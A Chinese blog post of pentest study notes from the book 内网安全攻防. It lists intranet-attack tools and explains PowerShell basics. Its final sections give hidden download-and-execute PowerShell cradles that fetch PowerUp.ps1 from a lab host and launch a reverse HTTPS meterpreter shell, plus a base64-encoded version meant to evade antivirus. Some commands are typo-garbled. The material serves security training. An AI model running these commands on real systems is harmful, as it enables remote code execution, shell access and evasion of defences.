0x00:from

--《内网安全攻防》

0x01:虚拟机安装

VirtualBOX

vmware Workstation Player

我比较常用VMware ,安装方法百度即可,比较简单。

1.桥接模式

相当于主机和虚拟机插在同一个交换机上,虚拟机是一个独立的机器,主机以及主机同网段的机器都可以访问虚拟机,反之虚拟机也可以访问其他同网段的机器。

2.NAT模式

与桥接不同的是,NAT模式下的虚拟机通过网络地址转换,通过与主机连接来访问网络,虚拟机可以访问主机(物理机)所在的所有同网段机器,但是除了主机其他同网段的计算机无法访问虚拟机。这也是默认情况下的配置。

3.Host-Only模式

仅主机模式,该模式下虚拟机是不通网络的,有且只有主机(物理机)和该虚拟机同网段的其他主机可以互相访问。相当于一个与外界隔离的局域网环境。

0x02:kali渗透平台以及常用工具

kali就不说了,公认的渗透测试平台,基于Debian Linux操作系统,包含了大量的安全工具,内网sto渗透很多情况下离不开kali。

1.WCE

WCE(windows凭证管理器)是安全人员广泛使用的一种安全工具,用于通过Penetration Testing评估Windows网络的安全性,支持Windows xp/Server 2003/Vista/Server 2008/8,下载地址: https://www.ampliasecurity.com/research/windows-credentials-editor/

WCE常用于列出登陆会话,以及添加、删除、修改和列出关联凭据(例如LM Hash、NTLM Hash、明文密码和Kerberos票据)。

2.mimikatz

mimikatz用于从内存中获取明文密码、现金票据和密钥等。下载链接:https://github.com/gentilkiwi/mimikatz/releases/latest

3.Responder

responder不仅用于嗅探网络内所有的LLMNR包和获取主机的信息,还提供了多种渗透测试环境和场景,包括了HTTP/HTTPS、SMB、SQL Server、FTP、IMAP、POP3等。

4.BeEF

BeEF是一款针对浏览器的渗透测试工具,官方网站: https://beefproject.com/

BeEF可以通过XSS漏洞,利用JavaScript代码对目标主机的浏览器进行测试。同时,BeEF可以配合Metasploit进一步对目标主机进行渗透。

5.DSHashes

DSHashes 的作用是从NTDSXtract中提取用户易于理解的散列值,下载地址:https://storage.googleapis.com/google-code-archive-source/v2/code.google.com/ptscripts/source-archive.zip

6.PowerSploit

PowerSploit 是一款基于PowerShell的后渗透(Post-Exploitation)测试框架。 PowerSploit 包含很多PowerShell脚本,主要用于渗透测试中的信息收集、权限提升、权限维持。下载地址: https://github.com/PowerShellMafia/PowerSploit.git

7.Nishang

Nishang是一款针对PowerShell的渗透测试工具,集成了框架、脚本(包括下载和执行、键盘记录、DNS、延时命令等脚本)和各种Payload,被广泛应用于渗透测试的各个阶段。下载地址: https://github.com/samratashok/nishang

8.Empire

Empire是一款内网渗透测试利器,其跨平台性类似于Metasploit,有丰富的模块和接口,用户可以自行添加模块和功能。

9.ps_encoder.py

该脚本用于使用base64编码封装PowerShell命令包,目的是混淆和压缩代码。下载地址: https://raw.githubusercontent.com/darkoperator/powershell_scripts/master/ps_encoder.py

10.smbexec

smbexec 是一个使用Samba工具的快速PsExec类工具。

PsExec的执行原理是:先通过ipc$进行连接,再将psexesvc.exe释放到目标机器中。通过服务管理(SCManager)远程创建psexecsvc服务并启动服务。客户端连接负责执行命令,服务端负责启动相应的程序并回显数据。

以上描述的是SysInternals中的PsExec的执行原理。Metasploit、impackePTH中的psExec使用的都是这种原理。

PsExec会释放文件,特征明显,因此专业的杀软都可以将其检测出来。在使用PsExec时需要安装服务,因此会留下日志。推出PsExec偶尔会出现不能删除服务的情况,因此需要开启admin$445端口共享。在进行攻击溯源时,可以通过日志信息来推测攻击过程。PsExec的特点在于,在进行渗透测试时可以直接提供目标主机的System权限。地址:https://github.com/brav0hax/smbexec

11.后门制造工厂

后门制造工厂用于对PE、ELF、Mach-O等二进制文件注入ShellCode(作者已停止维护),下载地址:https://github.com/secretsquirrel/the-backdoor-factory.git

12.Veil

Veil用于生成绕过常见防病毒解决方案的Metasploit有效载荷,下载地址: https://github.com/Veil-Framework/Veil

13.Metasploit

Metasploit 本质上是一个计算机安全项目(框架),目的是为用户提供已知安全漏洞的重要信息,帮助用户指定渗透测试以及IDS测试计划、战略和开发方法。官方网站: https://www.metasploit.com/

14.Cobalt Strike

Cobalt Strike是一款优秀的后渗透测试平台,功能强大,适合团队合作。主要用于内网渗透测试。官方网站: https://www.cobaltstrike.com/

0x03:Windows渗透测试平台及常用工具

用于进行渗透测试的windows主机,推荐安装win7/10系统,最好在虚拟机,但是流畅性肯定不如物理机。

1.Nmap

Nmap是一个免费的网络发现和安全审计工具,用于发现主机、扫描端口、识别服务、识别操作系统等。

2.Wireshark

Wireshark是一个免费且开源的网络协议和数据表解析器。它能把网络接口设置为混杂模式,从而监控整个网络的流量。

3.PuTTY

PuTTY是一个免费开源的SSH和Telnet客户端,可用于远程访问。

4.sqlmap

sqlmap是一个免费开源的工具,用于检测sql注入行为,也提供了对数据库攻击测试的选项。

5.Burp Suite

Burp Suite 是一个用于对web应用程序进行安全测试的集成平台,有两个主要的免费工具,分别是spider和intruder。spider用于抓取应用程序界面。intruder用于对页面进行自动化攻击测试,其中专业版的burp scanner可以扫描应用程序的漏洞。

6.hydra

hydra是一个网络登陆爆破工具

7.Getif

Getif亿域手机SNMP设备信息

8.Cain&Abel

Cain&Abel 是Windows中的一个密码恢复工具,可以通过嗅探网络,使用Dictionary、Brute-Force和Cryptanalysis,破解加密密码、记录VoIP会话、恢复无线网络密钥、显示密码框、发现缓存中的密码、分析路由信息,并能恢复各种密码。该工具不会利用任何软件漏洞和无法轻易修复的错误。

该软件涵盖了协议标准、身份验证方法和缓存中的一些安全弱点,主要用于恢复密码和凭证。下载地址: http://www.oxid.it/cain.html

9.PowerSploit

https://github.com/PowerShellMafia/PowerSploit.git

10.Nishang

https://github.com/samratashok/nishang

0x04 :Windows PowerShell基础

Windows PowerShell是一种命令行外壳程序和脚本环境,它内置在每个受支持的Windows版本中(win7 win 、server 2008 R2以及更高版本),为Windows命令行使用者和脚本编写者利用,.NET Framework的强大功能提供了便利。只要可以在一台计算机上运行代码,就可以将 PowerShell 的脚本文件(.ps1)下载到磁盘中执行(甚至无需将脚本文件写到磁盘中) 。也可以把 PowerShell 看作命令行提示符cmd.exe的扩展。

PowerShell 需要.NET环境的支持,同时支持.NET对象,其可读性、易用性居所有shell之首。 PowerShell 的这些特点,使它逐渐成为一个非常流行的安全测试工具。PowerShell具备以下特点:

  • 在win7以上版本默认安装
  • 脚本可以在内存中运行,不需要写入磁盘
  • 几乎不会触发安全软件
  • 可以远程执行
  • 目前很多工具都是基于 PowerShell 开发的
  • 使得Windows的脚本执行变得更容易
  • cmd.exe的运行通常会被阻止,但是 PowerShell 的运行不会被阻止
  • 可用于管理活动目录

windows系统对应的 PowerShell 版本:

  • win7/win server 2008 2.0 可以升级为3.0 4.0
  • win8/win server 2012 3.0 可以升级为4.0
  • win8.1/win server 2012 R2 4.0 /Na

可以输入Get-Host或者$PSVersionTable.PSVERSION命令查看 PowerShell 版本:

0x05 :PowerShell的基本概念

1. .ps1文件

一个PowerShell脚本其实就是一个简单的文本文件,其扩展名为“.ps1”.PowerShell脚本文件中包含一系列PowerShell命令,每个命令显示为独立的一行。

2.执行策略

为了防止使用者运行恶意脚本,PowerShell提供了一个执行策略。在默认情况下,这个执行策略被设置为“不能运行”

如果PowerShell脚本无法运行,可以使用以下的cmdlet命令查询当前的执行策略。

  • Get-ExecutionPolicy
  • Restricted:脚本不能运行(默认配置)
  • RemoteSigned:在本地创建的脚本可以运行,但是从网络下载的脚本不能运行(拥有数字证书签名的除外)
  • ALLSigner:仅当脚本由受信任的发布者签名时才能运
  • Unrestricted:运行所有脚本运行

可以使用以下cmdlet命令设置 PowerShell 执行策略

set-ExecutionPolicy <policy name>

例如: set-ExecutionPolicy Unrestricted

3.运行脚本

要想运行一个PowerShell脚本,必须输入完整的路径和文件名。例如,要运行脚本a.ps1,需要输入“d:\Script\a.sp1”

和linux相同,如果脚本在当前目录,直接.\a.sp1即可运行。

4.管道

管道的作用是将一个命令的输出作为另一个命令的输入,两个命令之间用“|”连接。

我们通过一个例子来了解管道是如何工作的。例如以下命令,让所有正在运行的、名字以字符“p”开头的程序停止运行。

PS>get-process p* | stop-process

0x06 :PowerShell的常用命令

1.基本知识

在PowerShell下,类似cmd的的命令叫做cmdlet命令。二者的命名规范一致,都采用“动词-名词”的形式,例如“New-ltem”。动词部分一般为Add、New、Get、Remove、Set等。命令的别名一般兼容windows Command和Linux shell 例如Get-Childltem命令在dir和ls下均可使用,另外 PowerShell命令不区分大小写。

下面以文件操作为例讲解一下 PowerShell 命令基本用法。

新建目录: New-Item -path D:\ -name test -type directory

新建文件:New-Item -path d:\test\test.txt -type file

删除目录:Remove-Item d:\test

显示文本内容:Get-Content D:\test.txt

设置文本内容:Set-Content D:\test.txt -Value "hello"

追加内容:Add-Content D:\test.txt -Value "man"

清除内容:Clear-Content D:test.txt

2.常用命令

在windows终端下输入powershell ,进入power shell命令行环境。输入“help” 命令即可显示帮助菜单。

要想运行powershell脚本,必须使用管理员权限将 Restricted 改为 Unrestricted

(1)绕过本地权限执行

将powershell上传到目标服务器,在命令行环境下执行以下命令,绕过安全策略,在目标服务器本地执行该脚本。

powershell.exe -ExecutionPolicy Bypass -File .\test.ps1

将同一个脚本上传到目标服务器,在目标本地执行脚本文件,命令如下:

powershell.exe -exec bypass -Command "& {import-module d:\PowerUp.ps1; invoke-allchecks}"

(2)从网站下载脚本,绕过不低权限并隐藏执行

powershell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString("xxx.ps1");[parameters]

使用PowerUp.ps1脚本在目标机器上执行meterpreter Shell。在这里,我们需要知道使用的参数是什么。最简单的方法是阅读PowerShell脚本的源码,获取并浏览Invoke-Shellcode.ps1文件,了解如何调用反向HTTPS meterpreter Shell。

最终的执行代码如下

PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString("http://192.168.150.1:8000/Privesc/PowerUp.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.150.145 -Lport 80

下面对常用参数进行说明:

- ExecutionPolicy Bypass(-Exec Bypass):绕过执行安全策略。这个参数非常重要。在默认情况下,PowerShell的安全策略规定PowerShell不能运行命令和文件。
-WindowStyle Hidden(-W Hidden):隐藏窗口。
-NonInteractive(-NonI):非交互模式。PowerShell不为用户提供交互式的提示。
-NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。
-noexit:执行后不退出Shell。这个参数在使用键盘记录等脚本时非常重要。
-NoLogo:启动不显示版权标志的PowerShell。

(3)使用Base64对PowerShell命令进行编码

使用Base64对PowerShell命令进行编码的目的是想混淆和压缩代码,从而避免脚本因为一些特殊字符被杀毒软件查杀。

可以使用Python脚本对所有的PowerShell命令进行Base64编码。脚本地址 https://raw.githubusercontent.com/darkoperator/powershell_scripts/master/ps_encoder.py 。使用Base64编码对其进行封装。在使用ps_encode.py进行文本转换时,转移的对象必须是文本文件,因此,要先把命令保存为文本文件,示例如下:

echo "IEX(New-Object New.WebClient) .DownloadString(' http://192.168.150.1:8000/Privesc/PowerUp.ps1')";Invoke-Shellcode-Payload windows/meterpreter/reverse_https -Lhost 192.168.150.145 -Lport 80 -Force" >raw.txt

为ps_encoder.py授予执行权限

chmod +x ps_encode.py

然后为语言base64封装:

python ps_encode.py -s raw.txt

在远程主机执行如下命令:

Powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHcALgBXAGUAYgBDAGwAaQBlAG4AdAApACAALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnACAAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQA1ADAALgAxADoAOAAwADAAMAAvAFAAcgBpAHYAZQBzAGMALwBQAG8AdwBlAHIAVQBwAC4AcABzADEAJwApADsASQBuAHYAbwBrAGUALQBTAGgAZQBsAGwAYwBvAGQAZQAtAFAAYQB5AGwAbwBhAGQAIAB3AGkAbgBkAG8AdwBzAC8AbQBlAHQAZQByAHAAcgBlAHQAZQByAC8AcgBlAHYAZQByAHMAZQBfAGgAdAB0AHAAcwAgAC0ATABoAG8AcwB0ACAAMQA5ADIALgAxADYAOAAuADEANQAwAC4AMQA0ADUAIAAtAEwAcABvAHIAdAAgADgAMAAgAC0ARgBvAHIAYwBlAAoA

3.运行32位和64位PowerShell

一些特定的Powershell只能运行在特定的平台上。例如,在64位平台上,需要通过64位的PowerShell脚本来执行命令。

在64位的Windows操作系统中,存在两个版本的PowerShell,一个是x64版本的,另一个是x86版本的,也就是32位的。

32位和64位寻址空间不同,寄存器不同所以不能混用。

x64版本PowerShell配置文件在%windir%\syswow64\WindowsPowerShell\v1.0\

运行32位PowerShell脚本,命令如下。

PowerShell.exe -NoP -NonI -W Hidden -Exec Bypass

运行64位PowerShell脚本,命令如下。

%WinDir%\syswow6\windowspowershell\v1.0\powershell.exe  -Nop   -NonI  -W Hidden -Exec  Bypass

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注